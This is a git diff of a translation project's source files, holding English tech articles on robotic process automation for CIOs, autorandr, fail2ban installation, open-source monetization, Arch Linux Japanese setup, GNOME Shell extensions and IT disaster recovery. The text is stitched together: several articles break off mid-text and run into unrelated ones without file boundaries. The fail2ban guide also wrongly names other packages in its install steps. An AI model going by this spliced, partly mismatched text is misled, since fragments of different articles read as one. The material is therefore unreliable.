[AsciiDoctor][41] to name few. Even if based on concepts dating back to the early days of computing, the human-readable text format ecosystem is pretty rich. Probably richer it was only 20 years ago. As a proof, many modern [static web site generators][42] are based on them. Unfortunately, this is out of the scope for this article.

Perhaps yours involve robotic process automation (RPA.) For years, RPA has been a distant concept for many companies. But as organizations are forced to become ever more nimble and efficient, the potential benefits of RPA bear examining. + +According to a recent[ survey][1] by Redwood Software and Sapio Research, IT decision makers believe that 59 percent of business processes can be automated in the next five years, creating new speed and efficiency while relieving their human counterparts of repetitive manual workloads. However, 20 percent of companies with more than 1000 employees currently have no RPA strategy in place. + +For CIOs, RPA has implications for your role in the business and for your team. Here are three ways that the role of the CIO and other IT decision makers can change as RPA gains prominence in 2018: + +### Added opportunity to be strategic change agents + +As the pressure grows to do more with less, internal processes matter greatly. In every enterprise, employees across departments are performing critical - yet mundane - tasks every single day. These tasks may be boring and repetitive, but they must be performed quickly, and often with no room for error. + +**[ For advice on maximizing your automation strategy's ROI, see our related article,[How to improve ROI on automation: 4 tips][2]. ]** + +From back-office operations in finance to procurement, supply chain, accounting, customer service, and human resources, nearly every position within an organization is plagued with at least some monotonous tasks. For CIOs, this opens up an opportunity to unite the business with IT and spearhead strategic change with RPA. + +Having evolved far beyond screen-scraping technology of the past, robots are now customizable, plug-and-play solutions that can be built to an organization's specific needs. With such a process-centric approach, companies can automate not only tasks previously executed by humans, but also application and system-specific tasks, such as ERP and other enterprise applications. + +Enabling a greater level of automation for end-to-end processes is where the value lies. CIOs will be on the front line of this opportunity. + +### Renewed focus on people and training + +Technology shifts can be unnerving to employees, especially when these changes involve automating substantial portions of their daily duties. The CIO should articulate how RPA will change roles and responsibilities for the better, and fuel data-driven, strategic decisions that will ultimately impact the bottom line. + +When implementing RPA, it's important to convey that humans will always be critical to the success of the organization, and that success requires the right balance of technology and human skills. + +CIOs should also analyze workflow and implement better processes that go beyond mimicking end-user specific tasks. Through end-to-end process automation, CIOs can enable employees to shine. + +Because it will be important to upskill and retrain employees throughout the automation process, CIOs must be prepared to collaborate with the C-suite to determine training programs that help employees navigate the change with confidence. + +### Demand for long-term thinking + +To succeed with robotic process automation, brands must take a long-term approach. This will require a scalable solution, which in turn will benefit the entire business model, including customers. When Amazon introduced faster delivery options for Prime customers, for example, it didn't just retool the entire order fulfillment process in its warehouses; it automated its online customer experience to make it simpler, faster, and easier than ever for consumers to place orders. + +In the coming year, CIOs can approach technology in the same way, architecting holistic solutions to change the way an organization operates. Reducing headcount will net only so much in bottom-line results, but process automation allows CIOs to think bigger through optimization and empowerment. This approach gives CIOs the opportunity to build credibility for the long haul, for themselves and for RPA. This in turn will enhance the CIO's role as a navigator and contributor to the organization's overall success. + +For CIOs, taking a long-term, strategic approach to RPA success takes time and hard work. Nevertheless, CIOs who commit the time to create a strategy that balances manpower and technology will deliver value now and in the future. + +-------------------------------------------------------------------------------- + +via: https://enterprisersproject.com/article/2017/11/3-ways-robotics-affects-cio-role + +作者：[Dennis Walsh][a] +译者：[译者ID](https://github.com/译者ID) +校对：[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:https://enterprisersproject.com/user/dennis-walsh +[1]:https://www.redwood.com/press-releases/it-decision-makers-speak-59-of-business-processes-could-be-automated-by-2022/ +[2]:https://enterprisersproject.com/article/2017/11/how-improve-roi-automation-4-tips?sc_cid=70160000000h0aXAAQ diff --git a/sources/tech/20171106 Autorandr- automatically adjust screen layout.md b/sources/tech/20171106 Autorandr- automatically adjust screen layout.md new file mode 100644 index 0000000000..c9ad9b8182 --- /dev/null +++ b/sources/tech/20171106 Autorandr- automatically adjust screen layout.md @@ -0,0 +1,52 @@ +translating---geekpi + +Autorandr: automatically adjust screen layout +====== +Like many laptop users, I often plug my laptop into different monitor setups (multiple monitors at my desk, projector when presenting, etc.) Running xrandr commands or clicking through interfaces gets tedious, and writing scripts isn't much better. + +Recently, I ran across [autorandr][1], which detects attached monitors using EDID (and other settings), saves xrandr configurations, and restores them.

By default Linux system comes with well-configured firewall such as Iptables, Uncomplicated Firewall (UFW), ConfigServer Security Firewall (CSF), etc, which will prevent many kinds of attacks. + +Any machine which is connected to the internet is a potential target for malicious attacks. There is a tool called fail2ban is available to mitigate illegitimate access on server. + +### What Is Fail2ban? + +[Fail2ban][1] is an intrusion prevention software, framework which protect server against brute force attacks. It's Written in Python programming language. Fail2ban work based on auth log files, by default it will scan the auth log files such as `/var/log/auth.log`, `/var/log/apache/access.log`, etc.. and bans IPs that show the malicious signs, too many password failures, seeking for exploits, etc. + +Generally fail2Ban is used to update firewall rules to reject the IP addresses for a specified amount of time. Also it will send mail notification too. Fail2Ban comes with many filters for various services such as ssh, apache, nginx, squid, named, mysql, nagios, etc,. + +Fail2Ban is able to reduce the rate of incorrect authentications attempts however it cannot eliminate the risk that weak authentication presents. this is one of the security for server which will prevent brute force attacks. + +### How to Install Fail2ban In Linux + +Fail2ban is already packaged with most of the Linux distribution so, just use you distribution package manager to install it. + +For **`Debian/Ubuntu`** , use [APT-GET Command][2] or [APT Command][3] to install tilda. +``` +$ sudo apt install fail2ban + +``` + +For **`Fedora`** , use [DNF Command][4] to install tilda. +``` +$ sudo dnf install fail2ban + +``` + +For **`CentOS/RHEL`** systems, enable [EPEL Repository][5] or [RPMForge Repository][6] and use [YUM Command][7] to install Terminator. +``` +$ sudo yum install fail2ban + +``` + +For **`Arch Linux`** , use [Pacman Command][8] to install tilda. +``` +$ sudo pacman -S fail2ban + +``` + +For **`openSUSE`** , use [Zypper Command][9] to install tilda. +``` +$ sudo zypper in fail2ban + +``` + +### How To Configure Fail2ban + +By default Fail2ban keeps all the configuration files in `/etc/fail2ban/` directory. The main configuration file is `jail.conf`, it contains a set of pre-defined filters. So, don't edit the file and it's not advisable because whenever new update comes the configuration get reset to default. + +Just create a new configuration file called `jail.local` in the same directory and modify as per your wish. +``` +# cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.local + +``` + +By default most of the option was configured perfectly and if you want to enable access to any particular IP then you can add the IP address into `ignoreip` area, for more then one IP give a speace between the IP address. + +The `DEFAULT` section contains the basic set of rules that Fail2Ban follow and you can adjust any parameter as per your wish. +``` +# nano /etc/fail2ban/jail.local + +[DEFAULT] +ignoreip = 127.0.0.1/8 192.168.1.100/24 +bantime = 600 +findtime = 600 +maxretry = 3 +destemail = 2daygeek@gmail.com + +``` + + * **ignoreip :** This section allow us to whitelist the list of IP address and Fail2ban will not ban a host which matches an address in this list + * **bantime :** The number of seconds that a host is banned + * **findtime :** A host is banned if it has generated "maxretry" during the last "findtime" seconds + * **maxretry :** "maxretry" is the number of failures before a host get banned. + + + +### How To Configure Service + +Fail2ban comes with set of pre-defined filters for various servicess such as ssh, apache, nginx, squid, named, mysql, nagios, etc,.

+![](http://www.itprotoday.com/sites/itprotoday.com/files/styles/article_featured_standard/public/ThinkstockPhotos-629994230_0.jpg?itok=5dZ68OTn) +The problem for any small group of developers putting the finishing touches on a commercial open source application is figuring out how to monetize the software in order to keep the bills paid and food on the table. Often these small pre-startups will start by deciding which of the recognized open source business models they're going to adapt, whether that be following Red Hat's lead and offering professional services, going the SaaS route, releasing as open core or something else. + +Steven Grandchamp, general manager for MariaDB's North America operations and CEO for Denver-based startup [Drud Tech][1], thinks that might be putting the cart before the horse. With an open source project, the best first move is to get people downloading and using your product for free. + +**Related:** [Demand for Open Source Skills Continues to Grow][2] + +"The number one tangent to monetization in any open source product is adoption, because the key to monetizing an open source product is you flip what I would call the sales funnel upside down," he told ITPro at the recent All Things Open conference in Raleigh, North Carolina. + +In many ways, he said, selling open source solutions is the opposite of marketing traditional proprietary products, where adoption doesn't happen until after a contract is signed. + +**Related:** [Is Raleigh the East Coast's Silicon Valley?][3] + +"In a proprietary software company, you advertise, you market, you make claims about what the product can do, and then you have sales people talk to customers. Maybe you have a free trial or whatever. Maybe you have a small version. Maybe it's time bombed or something like that, but you don't really get to realize the benefit of the product until there's a contract and money changes hands." + +Selling open source solutions is different because of the challenge of selling software that's freely available as a GitHub download. + +"The whole idea is to put the product out there, let people use it, experiment with it, and jump on the chat channels," he said, pointing out that his company Drud has a public chat channel that's open to anybody using their product. "A subset of that group is going to raise their hand and go, 'Hey, we need more help. We'd like a tighter relationship with the company. We'd like to know where your road map's going. We'd like to know about customization. We'd like to know if maybe this thing might be on your road map.'" + +Grandchamp knows more than a little about making software pay, from both the proprietary and open source sides of the fence. In the 1980s he served as VP of research and development at Formation Technologies, and became SVP of R&D at John H. Harland after it acquired Formation in the mid-90s. He joined MariaDB in 2016, after serving eight years as CEO at OpenLogic, which was providing commercial support for more than 600 open-source projects at the time it was acquired by Rogue Wave Software. Along the way, there was a two year stint at Microsoft's Redmond campus. + +OpenLogic was where he discovered open source, and his experiences there are key to his approach for monetizing open source projects. + +"When I got to OpenLogic, I was told that we had 300 customers that were each paying $99 a year for access to our tool," he explained. "But the problem was that nobody was renewing the tool. So I called every single customer that I could find and said 'did you like the tool?'" + +It turned out that nearly everyone he talked to was extremely happy with the company's software, which ironically was the reason they weren't renewing. The company's tool solved their problem so well there was no need to renew. + +"What could we have offered that would have made you renew the tool?" he asked. "They said, 'If you had supported all of the open source products that your tool assembled for me, then I would have that ongoing relationship with you.'" + +Grandchamp immediately grasped the situation, and when the CTO said such support would be impossible, Grandchamp didn't mince words: "Then we don't have a company." + +"We figured out a way to support it," he said. "We created something called the Open Logic Expert Community. We developed relationships with committers and contributors to a couple of hundred open source packages, and we acted as sort of the hub of the SLA for our customers. We had some people on staff, too, who knew the big projects." + +After that successful launch, Grandchamp and his team began hearing from customers that they were confused over exactly what open source code they were using in their projects. That lead to the development of what he says was the first software-as-a-service compliance portal of open source, which could scan an application's code and produce a list of all of the open source code included in the project. When customers then expressed confusion over compliance issues, the SaaS service was expanded to flag potential licensing conflicts. + +Although the product lines were completely different, the same approach was used to monetize MariaDB, then called SkySQL, after MySQL co-founders Michael "Monty" Widenius, David Axmark, and Allan Larsson created the project by forking MySQL, which Oracle had acquired from Sun Microsystems in 2010. + +Again, users were approached and asked what things they would be willing to purchase. + +"They wanted different functionality in the database, and you didn't really understand this if you didn't talk to your customers," Grandchamp explained. "Monty and his team, while they were being acquired at Sun and Oracle, were working on all kinds of new functionality, around cloud deployments, around different ways to do clustering, they were working on lots of different things. That work, Oracle and MySQL didn't really pick up." + +Rolling in the new features customers wanted needed to be handled gingerly, because it was important to the folks at MariaDB to not break compatibility with MySQL. This necessitated a strategy around when the code bases would come together and when they would separate. "That road map, knowledge, influence and technical information was worth paying for." + +As with OpenLogic, MariaDB customers expressed a willingness to spend money on a variety of fronts. For example, a big driver in the early days was a project called Remote DBA, which helped customers make up for a shortage of qualified database administrators. The project could help with design issues, as well as monitor existing systems to take the workload off of a customer's DBA team. The service also offered access to MariaDB's own DBAs, many of whom had a history with the database going back to the early days of MySQL. + +"That was a subscription offering that people were definitely willing to pay for," he said. + +The company also learned, again by asking and listening to customers, that there were various types of support subscriptions that customers were willing to purchase, including subscriptions around capability and functionality, and a managed service component of Remote DBA. + +These days Grandchamp is putting much of his focus on his latest project, Drud, a startup that offers a suite of integrated, automated, open source development tools for developing and managing multiple websites, which can be running on any combination of content management systems and deployment platforms. It is monetized partially through modules that add features like a centralized dashboard and an "intelligence engine." + +As you might imagine, he got it off the ground by talking to customers and giving them what they indicated they'd be willing to purchase. + +"Our number one customer target is the agency market," he said. "The enterprise market is a big target, but I believe it's our second target, not our first. And the reason it's number two is they don't make decisions very fast. There are technology refresh cycles that have to come up, there are lots of politics involved and lots of different vendors. It's lucrative once you're in, but in a startup you've got to figure out how to pay your bills. I want to pay my bills today. I don't want to pay them in three years." + +Drud's focus on the agency market illustrates another consideration: the importance of understanding something about your customers' business. When talking with agencies, many said they were tired of being offered generic software that really didn't match their needs from proprietary vendors that didn't understand their business. In Drud's case, that understanding is built into the company DNA. The software was developed by an agency to fill its own needs. + +"We are a platform designed by an agency for an agency," Grandchamp said. "Right there is a relationship that they're willing to pay for. We know their business." + +Grandchamp noted that startups also need to be able to distinguish users from customers. Most of the people downloading and using commercial open source software aren't the people who have authorization to make purchasing decisions. These users, however, can point to the people who control the purse strings. + +"It's our job to build a way to communicate with those users, provide them value so that they'll give us value," he explained. "It has to be an equal exchange. I give you value of a tool that works, some advice, really good documentation, access to experts who can sort of guide you along. Along the way I'm asking you for pieces of information. Who do you work for? How are the technology decisions happening in your company? Are there other people in your company that we should refer the product to? We have to create the dialog." + +In the end, Grandchamp said, in the open source world the people who go out to find business probably shouldn't see themselves as salespeople, but rather, as problem solvers. + +"I believe that you're not really going to need salespeople in this model. I think you're going to need customer success people. I think you're going to need people who can enable your customers to be successful in a business relationship that's more highly transactional." + +"People don't like to be sold," he added, "especially in open source. The last person they want to see is the sales person, but they like to ply and try and consume and give you input and give you feedback. They love that." + +-------------------------------------------------------------------------------- + +via: http://www.itprotoday.com/software-development/how-monetize-open-source-project + +作者：[Christine Hall][a] +译者：[译者ID](https://github.com/译者ID) +校对：[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://www.itprotoday.com/author/christine-hall +[1]:https://www.drud.com/ +[2]:http://www.itprotoday.com/open-source/demand-open-source-skills-continues-grow +[3]:http://www.itprotoday.com/software-development/raleigh-east-coasts-silicon-valley diff --git a/sources/tech/20171108 How To Setup Japanese Language Environment In Arch Linux.md b/sources/tech/20171108 How To Setup Japanese Language Environment In Arch Linux.md new file mode 100644 index 0000000000..17546c1b03 --- /dev/null +++ b/sources/tech/20171108 How To Setup Japanese Language Environment In Arch Linux.md @@ -0,0 +1,98 @@ +How To Setup Japanese Language Environment In Arch Linux +====== + +![](https://www.ostechnix.com/wp-content/uploads/2017/11/Setup-Japanese-Language-Environment-In-Arch-Linux-720x340.jpg) + +In this tutorial, we will be discussing how to setup Japanese language environment in Arch Linux.

It was used to enable user themes. Today, we'll have a detailed look at GNOME Shell Extensions in Ubuntu 17.10. + +I may use the term GNOME Extensions instead of GNOME Shell Extensions but both have the same meaning here. + +What are GNOME Shell Extensions? How to install GNOME Shell Extensions? And how to manage and remove GNOME Shell Extensions? I'll explain all these questions, one by one. + +Before that, if you prefer video, I have demonstrated all these on [It's FOSS YouTube channel][2]. I highly recommend that you subscribe to it for more Linux videos. + +## What is a GNOME Shell Extension? + +A [GNOME Shell Extension][3] is basically a tiny piece of code that enhances the capability of GNOME desktop. + +Think of it as an add-on in your browser. For example, you can install an add-on in your browser to disable ads. This add-on is developed by a third-party developer. Though your web browser doesn't provide it by default, installing this add-on enhances the capability of your web browser. + +Similarly, GNOME Shell Extensions are like those third-party add-ons and plugins that you can install on top of GNOME. These extensions are created to perform specific tasks such as display weather condition, internet speed etc. Mostly, you can access them in the top panel. + +![GNOME Shell Extension in action][5] + +There are also GNOME Extensions that are not visible on the top panel. But they still tweak GNOME's behavior. For example, middle mouse button can be used to close an application with one such extension. + +## Installing GNOME Shell Extensions + +Now that you know what are GNOME Shell Extensions, let's see how to install them. There are three ways you can use GNOME Extensions: + + * Use a minimal set of extensions from Ubuntu (or your Linux distribution) + * Find and install extensions in your web browser + * Download and manually install extensions + + + +Before you learn how to use GNOME Shell Extensions, you should install GNOME Tweak Tool. You can find it in the Software Center. Alternatively, you can use this command: +``` +sudo apt install gnome-tweak-tool +``` + +At times, you would also need to know the version of GNOME Shell you are using. This helps in determining whether an extension is compatible with your system or not. You can use the command below to find it: +``` +gnome-shell --version +``` + +### 1\. Use gnome-shell-extensions package [easiest and safest way] + +Ubuntu (and several other Linux distributions such as Fedora) provide a package with a minimal set of GNOME extensions. You don't have to worry about the compatibility here as it is tested by your Linux distribution. + +If you want a no-brainer, just get this package and you'll have 8-10 GNOME extensions installed. +``` +sudo apt install gnome-shell-extensions +``` + +You'll have to reboot your system (or maybe just restart GNOME Shell, I don't remember it at this point). After that, start GNOME Tweaks and you'll find a few extensions installed. You can just toggle the button to start using an installed extension. + +![Change GNOME Shell theme in Ubuntu 17.1][6] + +### 2. Install GNOME Shell extensions from a web browser + +GNOME project has an entire website dedicated to extensions. That's not it. You can find, install, and manage your extensions on this website itself. No need even for GNOME Tweaks tool. + +[GNOME Shell Extensions Website][3] + +But in order to install extensions a web browser, you need two things: a browser add-on and a native host connector in your system. + +#### Step 1: Install browser add-on + +When you visit the GNOME Shell Extensions website, you'll see a message like this: + +> "To control GNOME Shell extensions using this site you must install GNOME Shell integration that consists of two parts: browser extension and native host messaging application." + +![Installing GNOME Shell Extensions][7] + +You can simply click on the suggested add-on link by your web browser. You can install them from the link below as well: + +#### Step 2: Install native connector + +Just installing browser add-on won't help you. You'll still see an error like: + +> "Although GNOME Shell integration extension is running, native host connector is not detected. Refer documentation for instructions about installing connector" + +![How to install GNOME Shell Extensions][8] + +This is because you haven't installed the host connector yet. To do that, use this command: +``` +sudo apt install chrome-gnome-shell +``` + +Don't worry about the 'chrome' prefix in the package name. It has nothing to do with Chrome. You don't have to install a separate package for Firefox or Opera here. + +#### Step 3: Installing GNOME Shell Extensions in web browser + +Once you have completed these two requirements, you are all set to roll. Now when you go to GNOME Shell Extension, you won't see any error message. + +![GNOME Shell Extension][9] + +A good thing to do would be to sort the extensions by your GNOME Shell version. It is not mandatory though. What happens here is that a developer creates an extension for the present GNOME version. In one year, there will be two more GNOME releases. But the developer didn't have time to test or update his/her extension. + +As a result, you wouldn't know if that extension is compatible with your system or not. It's possible that the extension works fine even in the newer GNOME Shell version despite that the extension is years old. It is also possible that the extension doesn't work in the newer GNOME Shell. + +You can search for an extension as well. Let's say you want to install a weather extension. Just search for it and go for one of the search results. + +When you visit the extension page, you'll see a toggle button. + +![Installing GNOME Shell Extension ][10] + +Click on it and you'll be prompted if you want to install this extension: + +![Install GNOME Shell Extensions via web browser][11] + +Obviously, go for Install here. Once it's installed, you'll see that the toggle button is now on and there is a setting option available next to it. You can configure the extension using the setting option. You can also disable the extension from here. + +![Configuring installed GNOME Shell Extensions][12] + +You can also configure the settings of an extension that you installed via the web browser in GNOME Tweaks tool: + +![GNOME Tweaks to handle GNOME Shell Extensions][13] + +You can see all your installed extensions on the website under [installed extensions section][14]. You can also delete the extensions that you installed via web browser here + +![Manage your installed GNOME Shell Extensions][15] + +One major advantage of using the GNOME Extensions website is that you can see if there is an update available for an extension. You won't get it in GNOME Tweaks or system update. + +### 3. Install GNOME Shell Extensions manually + +It's not that you have to be always online to install GNOME Shell extensions. You can download the files and install it later, without needing internet. + +Go to GNOME Extensions website and download the extension with the latest version. + +![Download GNOME Shell Extension][16] + +Extract the downloaded file. Copy the folder to **~/.local/share/gnome-shell/extensions** directory. Go to your Home directory and press Crl+H to show hidden folders. Locate .local folder here and from there, you can find your path till extensions directory. + +Once you have the files copied in the correct directory, go inside it and open metadata.json file. Look for the value of uuid. + +Make sure that the name of the extension's folder is same as the value of uuid in the metadata.json file. If not, rename the directory to the value of this uuid. + +![Manually install GNOME Shell extension][17] + +Almost there! Now restart GNOME Shell. Press Alt+F2 and enter r to restart GNOME Shell. + +![Restart GNOME Shell][18] + +Restart GNOME Tweaks tool as well. You should see the manually installed GNOME extension in the Tweak tool now. You can configure or enable the newly installed extension here. + +And that's all you need to know about installing GNOME Shell Extensions. + +## Remove GNOME Shell Extensions + +It is totally understandable that you might want to remove an installed GNOME Shell Extension. + +If you installed it via a web browser, you can go to the [installed extensions section on GNOME website][14] and remove it from there (as shown in an earlier picture). + +If you installed it manually, you can remove it by deleting the extension files from ~/.local/share/gnome-shell/extensions directory. + +## Bonus Tip: Get notified of GNOME Shell Extensions updates + +By now you have realized that there is no way to know if an update is available for a GNOME Shell extension except for visiting the GNOME extension website. + +Luckily for you, there is a GNOME Shell Extension that notifies you if there is an update available for an installed extension. You can get it from the link below: + +[Extension Update Notifier][19] + +### How do you manage GNOME Shell Extensions? + +I find it rather weird that you cannot update the extensions via the system updates. It's as if GNOME Shell extensions are not even part of the system. + +If you are looking for some recommendation, read this article about [best GNOME extensions][20].

Sysadmins who lived through Katrina, Sandy, and other disasters share real-world advice for anyone responsible for IT during an emergency. + +In terms of natural disasters, 2017 has been one heck of a year. Hurricanes Harvey, Irma, and Maria brought destruction to Houston, Puerto Rico, Florida, and the Caribbean. On top of that, wildfires burned out homes and businesses in the West. + +It'd be easy to respond with yet another finger-wagging article about [preparing for disasters][1]--and surely it's all good advice--but that doesn't help a network administrator cope with the soggy mess. Most of those well-meant suggestions also assume that the powers that be are cheerfully willing to invest money in implementing them. + +We're a little more interested in the real world. Instead, let's put that bad news to some good use. + +Case in point: One result of a natural disaster is that the boss may suddenly be willing to find budget for disaster recovery planning. As a New York area sysadmin puts it, "The [greatest benefit I found from Hurricane Sandy][2] is our client's interest in investing back into IT, so hopefully you will welcome bigger budgets as well." + +Don't expect that willingness to last long, though. Any sysadmin who'd like to suggest infrastructure improvements is urged to make hay while the sun shines. As another Sandy-survivor IT specialist ruefully remarks, "[Initial interest in IT spending lasted the calendar year for us][3]. By the following year, any plans that hadn't already been put in the works got put on the back burner due to 'budgetary constraints,' and then completely forgotten about by around 6 months later." + +It can help to remind management of the cold hard facts before they forget that bad natural disasters can happen to good companies. According to the Institute for Business & Home Safety, [25 percent of businesses that close after a natural disaster never reopen][4]. FEMA thinks that's optimistic. By its measure, "[40 percent of small businesses never reopen their doors][5] following a disaster." + +If you're a sysadmin, you can help save your business. Here are some of survivors' best ideas based on what they've learned from the past few natural disasters. + +### Have a plan + +When the lights flicker and the wind howls like a locomotive, it's time to put your business continuity and disaster recovery plans into operation. + +Too many sysadmins report that neither were in place when the storms came. That's not surprising. In 2014, the [Disaster Recovery Preparedness Council][6] found that [73 percent of surveyed businesses worldwide didn't have adequate disaster recovery plans][7]. + +"Adequate" is a key word. As a sysadmin on Reddit wrote in 2016, "[Our disaster plan is a disaster.][8] All our data is backed up to a storage area network [SAN] about 30 miles from here. We have no hardware to get it back online or have even our core servers up and running within a few days. We're a $4 billion a year company that won't spend a few $100K for proper equipment. Or even some servers at a data center. Our executive team said, 'Meh what are the odds of anything happening' when the hardware proposal was brought up." + +Another on the same thread put it more succinctly: "Currently my DR plan is to cry in a dark damp corner and hope nobody cared about anything that was lost." + +Get the report from 451 Research - Datacenter Modernization: Trends and Challenges + +[Transform with Hybrid IT][9] + +If you're crying, let's hope you aren't crying alone. Any disaster plan, even one devised by the IT department, has to ascertain that [you can communicate with humans][10], as sysadmin Jim Thompson learned during Katrina: "Make sure you have a plan to communicate with people. During a serious regional disaster, you will not be able to call anyone with a phone in the affected area code." + +One option that may appeal to the technically minded: [ham radio][11]. That [made a difference in Puerto Rico][12]. + +### Make a wish list + +The first step is recognizing the problem. "Many companies are not actually interested in disaster recovery, or they address it reluctantly," says [Joshua Brusse][13], a chief architect at [Micro Focus][14]. "Viewing disaster recovery as an aspect of business continuity is a different perspective. All companies deal with business continuity, so disaster recovery should be considered as part of that." + +Ensuring that there's an adequate disaster recovery and business continuity plan in place requires the IT department to document its needs. That's true even if--or particularly when--you don't get your way. As one sysadmin remarks, "I like to have a 'thought dump' location where any and all plans/ideas/improvements can be just dumped in with no limitations or restrictions. [This] is [especially helpful for when you propose a change][15], it gets shot down, and six months later that situation you warned about came up." Now you have everything prepared and can start the discussion: "As we discussed back in April…" + +So, what can you do when your executive team responds to the business continuity plan with "Meh what are the odds of anything happening?" Shockingly poor judgement as that is, one sysadmin suggests it's also completely normal behavior for the executive layer. In situations this dire, experienced sysadmins say document the events. Be clear that you told the executives what needed to be done and that [they refused to do so][16]. "The general idea is to have a paper trail long enough for them to hang themselves," the sysadmin adds. + +If that doesn't work, the experience of bringing back a flooded data center will serve you well in [a new job search][17]. + +### Protect the physical infrastructure + +"[Our office is an old decrepit building][18]," reported one sysadmin after Harvey hammered Houston. "We went into the building blind and the infrastructure in place was terrible. We literally just finished the last of the drops we needed in that building and now it's all under water." + +Nonetheless, if you want the data center to keep running--or to get back up and working after a storm--you need to ensure the facility can stand up to not only the kind of disasters expected in your area but the unexpected ones as well. One reason Sandy was devastating is that the New York area wasn't prepped for that sort of weather system. A sysadmin in San Francisco knows why it's important to ensure the company's servers are in a building that can withstand a magnitude 7 earthquake. A business in St. Louis knows how to respond to tornadoes. But you should prepare for every eventuality: a tornado in California, an earthquake in Missouri, or [a zombie apocalypse][19] (which also gives you justification for a chainsaw in the IT budget). + +In Houston's case, [most data centers stayed up][20] and running because they were built to withstand storms and floods. [Data Foundry][21]'s chief technology officer, Edward Henigin, says of one of its data centers, "Houston 2 is a purpose-built facility designed to withstand Category 5 hurricane wind speeds. This site has not lost utility power, and we have not had to transition to our backup generators." + +That's the good news. The bad news is, as superstorm Sandy showed in 2012, if your [data center isn't ready to handle flooding][22], you're in for a world of trouble. Customers of one failed data center, [Datagram][23], included high-profile sites Gawker, Gizmodo, and Buzzfeed. + +Of course, sometimes there's nothing you can do. As one San Juan, Puerto Rico, sysadmin sadly wrote when Irma came through, "Generator took a dump. Server room running on batteries but no [air conditioning]. [Bye bye servers][24]." The sysadmin couldn't fail over to disaster recovery because the MPLS (Multiprotocol Label Switching) line was also down: "Fun day." + +To sum up, IT professionals need to know their area, know their risks, and place their servers in data centers that can handle the local conditions. + +### An argument for the cloud + +The best way to avoid an IT data center failure when a storm rolls through is to make sure the backup data center is elsewhere. That requires sensible decision-making in locating them. Your backup data center should not be in a region that can be affected by the same natural disaster; place your resources in more than one availability zone. Think backup and primary along the same fault line in an earthquake or vulnerable to flooding from linked water sources. + +Some sysadmins [use the cloud for redundancy][25]. For example, Microsoft Azure storage is always replicated to ensure durability and high availability. Depending on the options you choose, Azure replication copies your data, either within the same data center or to a second data center. Most public clouds offer similar automatic backup services to help ensure data stays safe no matter what happens to your local data center--unless your cloud provider is in the same storm path. + +Expensive? Yes. As expensive as being down for a day or two? No. + +Don't trust the public cloud? Consider a colocation (colo) service. With colo, you still own your hardware and run your own applications, but the hardware can be miles away from trouble. For instance, during Harvey, one company "virtually" moved all its resources from Houston to its colo in Austin, Texas. But those local data centers and colocation sites need to be ready to handle disasters; it's one of the criteria you should use in choosing them. For example, a Seattle sysadmin looking for colocation space considered, "It was all about their earthquake and drought protection (overbuilt foundations and water trucks to feed the chillers)." + +### When the lights go out + +The most [common cause of declared disaster is power failures][26], as Forrester Research analyst Rachel Dines reported in a survey for [Disaster Recovery Journal][27]. While you can work against those in ordinary circumstances, hurricanes, fires, and floods test the equipment past its limits. + +One sysadmin's tongue-in-cheek plan? "Turn off what you can before the UPS dies, let crash what you can't. Then, [drink until power comes back on][28]." + +A more serious plan driven by IT staff in the wake of 2016's Delta and Southwest outages was for a managed service provider to [deploy uninterruptible power supplies][29] to its clients: "On the critical pieces, we use a combination of SNMP signalling and PowerChute Network Shutdown (PCNS) clients to shut things down in the event of a power failure. Bringing things back up, well... that depends on the client. Some are automatic, and some require manual intervention." + +Another approach is to support the data center with utility power from two substations. For example, the [Seattle Westin Building data cente][30]r has multiple 13.4-kilovolt utility feeds, diverse power substations, and multiple 480-volt three-phase transformer vaults. + +Serious power failure prevention systems are not "one size fits all" units. Sysadmins should requisition a [custom-designed diesel generator for the data center][31]. Besides being tuned for your specific needs, generators must be capable of jumping to full speed in moments and accept full-power loads without impacting the load performance. + +These generators must also be protected. For example, putting your generators on the ground floor in a flood plain is not a smart idea. The data centers on Broad Street in New York had fits during Superstorm Sandy because the backup generators' fuel tanks were in the basement--and they were flooded out. While a ["bucket brigade" relaying 5-gallon buckets of diesel fuel up 17 flights of stairs to the generator][32] kept [Peer 1 Hosting][33] in business, this is not a viable business continuity plan. + +As most data center professionals know, if you have time--say, a hurricane is a day away--make sure your generator is working, fully fueled up, and is ready to kick on when the power lines get cut. Of course, you should have been testing your generator every month anyway. You have been doing that? Right? Right! + +### Testing your confidence in backups + +Ordinary users almost never make backups, and fewer still check to make sure their backups are actually any good. Sysadmins know better. + +Some [IT departments are looking into moving their backups to the cloud][34]. But some sysadmins aren't sold on it yet--for good reason. One recently reported, "After [five solid days of restoring [400 GB of] data from Amazon Glacier][35], I owe Amazon nearly $200 in data transfer fees and [I] still have an inconsistent restore state and [am] missing 100 GB of my files." + +As a result, some sysadmins still prefer tape backup. Tape is certainly not fashionable, but as operating system guru Andrew S. Tanenbaum says, "[Never underestimate the bandwidth of a station wagon full of tapes hurtling down the highway][36]." + +These days, tape can handle 10 terabytes per tape; there are experiments underway that take tape up to 200 TB. Technologies such as the [Linear Tape File System][37] enable you to read tape data as if it were just another network drive. + +Yet for many, tape is the [option of absolute last resort][38]. That's fine, because backup should have plenty of options. In this case, says one sysadmin, "we would have to fail with: [Windows] server level VSS [Volume Shadow Storage] snapshots, SAN level volume snapshots, and SAN level offsite archived snapshot copies. But if, hypothetically, something happened that nuked our VM, the SAN, and the backup SAN, we could still get the tapes back and recover the data." + +When trouble is coming your way, use replication tools such as [Veeam][39], which create a virtual machine replica of your servers. If there's a failure, the replicas are automatically spun up. No fuss, no muss, as one sysadmin says in the popular sysadmin post, "[I love you Veeam.][40]" + +### Network? What network? + +Of course, no cloud, no colo, and no remote data center helps you if staff can't reach their services. You don't need a natural disaster to justify redundant Internet connections. All it takes is a backhoe cable cut or severed fiber lines to give you a bad day at work. + +"Ideally," one sysadmin wisely observes, "you should have [two wired Internet connections to two ISPs with separate infrastructures][41]. You do not want to find out both ISPs are dependent on the same fiber cable, for example. Nor do you want to use two local ISPs and find out they are both dependent on Level 3 for their upstream bandwidth." + +Smart sysadmins know their corporate Internet connections [must be business-class connections with a service-level agreement][42] (SLA) that includes a "time to repair" clause. Better still is to get a [dedicated Internet access][43] (DIA) circuit. Technically, they're no different than any other Internet connection. The difference is that a DIA is not a 